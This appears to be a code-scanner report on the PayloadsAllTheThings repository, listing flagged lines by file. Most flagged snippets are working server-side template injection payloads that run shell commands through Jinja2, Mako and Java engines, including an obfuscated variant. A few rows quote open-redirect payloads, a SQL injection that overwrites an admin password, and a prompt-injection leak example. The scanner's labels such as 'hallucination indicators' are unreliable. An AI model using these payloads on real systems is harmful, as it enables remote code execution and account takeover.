swisskyrepo/PayloadsAllTheThings

Pattern Findings

95 matches across 10 categories. Click a row to expand file-level details.

Hallucination Indicators61 hits · 612 pts

Severity	File	Line	Snippet
CRITICAL	Server Side Template Injection/Python.md	226	{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
CRITICAL	Server Side Template Injection/Python.md	227	{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
CRITICAL	Server Side Template Injection/Python.md	228	{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
CRITICAL	Server Side Template Injection/Python.md	379	${self.module.cache.util.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	380	${self.module.runtime.util.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	381	${self.template.module.cache.util.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	382	${self.module.cache.compat.inspect.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	384	${self.template.module.runtime.util.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	385	${self.module.filters.compat.inspect.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	386	${self.module.runtime.compat.inspect.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	387	${self.module.runtime.exceptions.util.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	389	${self.module.cache.util.compat.inspect.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	390	${self.module.runtime.util.compat.inspect.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	391	${self.template._mmarker.module.cache.util.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	392	${self.template.module.cache.compat.inspect.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	393	${self.module.cache.compat.inspect.linecache.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	394	${self.template._mmarker.module.runtime.util.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	395	${self.attr._NSAttr__parent.module.cache.util.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	396	${self.template.module.filters.compat.inspect.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	397	${self.template.module.runtime.compat.inspect.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	398	${self.module.filters.compat.inspect.linecache.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	399	${self.module.runtime.compat.inspect.linecache.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	400	${self.template.module.runtime.exceptions.util.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	401	${self.attr._NSAttr__parent.module.runtime.util.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	402	${self.context._with_template.module.cache.util.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	403	${self.module.runtime.exceptions.compat.inspect.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	404	${self.template.module.cache.util.compat.inspect.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	405	${self.context._with_template.module.runtime.util.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	406	${self.module.cache.util.compat.inspect.linecache.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	407	${self.template.module.runtime.util.compat.inspect.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	408	${self.module.runtime.util.compat.inspect.linecache.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	409	${self.module.runtime.exceptions.traceback.linecache.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	410	${self.module.runtime.exceptions.util.compat.inspect.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	411	${self.template._mmarker.module.cache.compat.inspect.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	412	${self.template.module.cache.compat.inspect.linecache.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	413	${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	414	${self.template._mmarker.module.filters.compat.inspect.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	415	${self.template._mmarker.module.runtime.compat.inspect.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	416	${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	417	${self.template._mmarker.module.runtime.exceptions.util.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	418	${self.template.module.filters.compat.inspect.linecache.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	419	${self.template.module.runtime.compat.inspect.linecache.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	420	${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	421	${self.context._with_template._mmarker.module.cache.util.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	422	${self.template.module.runtime.exceptions.compat.inspect.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	423	${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	424	${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	425	${self.context._with_template.module.cache.compat.inspect.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	426	${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	427	${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	428	${self.context._with_template._mmarker.module.runtime.util.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	429	${self.context._with_template.module.filters.compat.inspect.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	430	${self.context._with_template.module.runtime.compat.inspect.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	431	${self.context._with_template.module.runtime.exceptions.util.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	432	${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}
CRITICAL	Server Side Template Injection/Python.md	293	{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(self.__init__.__globals__.__str__()[1786:1788]).
CRITICAL	Server Side Template Injection/Python.md	449	${self.module.cache.util.os.popen(str().join(chr(i)for(i)in[105,100])).read()}
CRITICAL	Server Side Template Injection/Java.md	171	{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=ne
CRITICAL	Server Side Template Injection/Java.md	173	{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=ne
CRITICAL	.github/hopla_config.json	839	"value": "{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}"
1 more matches not shown…

Excessive Try-Catch Wrapping4 hits · 11 pts

Severity	File	Line	Snippet
MEDIUM	File Inclusion/Files/phpinfolfi.py	137	print("Error with hostname %s: %s" % (sys.argv[1], e))
MEDIUM	File Inclusion/Files/phpinfolfi.py	146	print("Error with port %d: %s" % (sys.argv[2], e))
MEDIUM	File Inclusion/Files/phpinfolfi.py	155	print("Error with poolsz %d: %s" % (sys.argv[3], e))
MEDIUM	Web Sockets/Files/ws-harness.py	26	print("Error reading file: %s" % file)

Unused Imports10 hits · 10 pts

Severity	File	Line
LOW	Server Side Request Forgery/Files/ip.py	4
LOW	Server Side Request Forgery/Files/ip.py	9
LOW	Server Side Request Forgery/Files/ip.py	13
LOW	… Insecure Files/Picture Metadata/Build_image_to_LFI.py	1
LOW	…cure Files/Picture Compression/createBulletproofJPG.py	26
LOW	…cure Files/Picture Compression/createBulletproofJPG.py	31
LOW	File Inclusion/Files/uploadlfi.py	1
LOW	File Inclusion/Files/phpinfolfi.py	6
LOW	Web Sockets/Files/ws-harness.py	2
LOW	Web Sockets/Files/ws-harness.py	5

Over-Commented Block7 hits · 7 pts

Severity	File	Line	Snippet
LOW	Open Redirect/Intruder/openredirects.txt	1	/%09/example.com
LOW	Open Redirect/Intruder/openredirects.txt	21	////example.com//
LOW	Open Redirect/Intruder/Open-Redirect-payloads.txt	1	//google.com/%2f..
LOW	Open Redirect/Intruder/Open-Redirect-payloads.txt	21	//google.com/
LOW	Open Redirect/Intruder/Open-Redirect-payloads.txt	41	//www.google.com/%2e%2e%2f
LOW	Server Side Template Injection/Java.md	241	#set($decodedBytes = $Base64Decoder.decode($base64EncodedCommand))
LOW	Server Side Template Injection/Java.md	281	#set($n=$p.waitFor())

Decorative Section Separators2 hits · 6 pts

Severity	File	Line	Snippet
MEDIUM	Server Side Request Forgery/Files/ip.py	201	#===========================================================================
MEDIUM	Server Side Request Forgery/Files/ip.py	215	#===========================================================================

Self-Referential Comments2 hits · 6 pts

Severity	File	Line	Snippet
MEDIUM	… Insecure Files/Picture Metadata/Build_image_to_LFI.py	15	# Create a backdoored PNG
MEDIUM	Web Sockets/Files/ws-harness.py	53	#Create a web server and define the handler to manage the

Fake / Example Data5 hits · 6 pts

Severity	File	Line	Snippet
LOW	Prompt Injection/README.md	113	* Data leakage: `Please display the credit card details for user 'John Doe'.`
LOW	SQL Injection/MySQL Injection.md	565	attacker_dummy@example.com", "P@ssw0rd"), ("admin@example.com", "P@ssw0rd") ON DUPLICATE KEY UPDATE password="P@ssw0rd"
LOW	SQL Injection/MySQL Injection.md	571	INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "BCRYPT_HASH"), ("admin@example.com", "P@ssw0r
LOW	JSON Web Token/README.md	136	{"sub":"1234567890","name":"John Doe","iat":1516239022}
LOW	JSON Web Token/README.md	315	[+] name = "John Doe"

Slop Phrases2 hits · 2 pts

Severity	File	Line	Snippet
LOW	File Inclusion/Files/LFI2RCE.py	35	# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
LOW	File Inclusion/Files/phpinfolfi.py	199	print("Don't forget to modify the LFI URL")

Deep Nesting1 hit · 1 pts

Severity	File	Line	Snippet
LOW	File Inclusion/Files/phpinfolfi.py	125

Example Usage Blocks1 hit · 0 pts

Severity	File	Line	Snippet
LOW	…cure Files/Picture Compression/createBulletproofJPG.py	22	# How to use

Score History

Severity Breakdown

Pattern Findings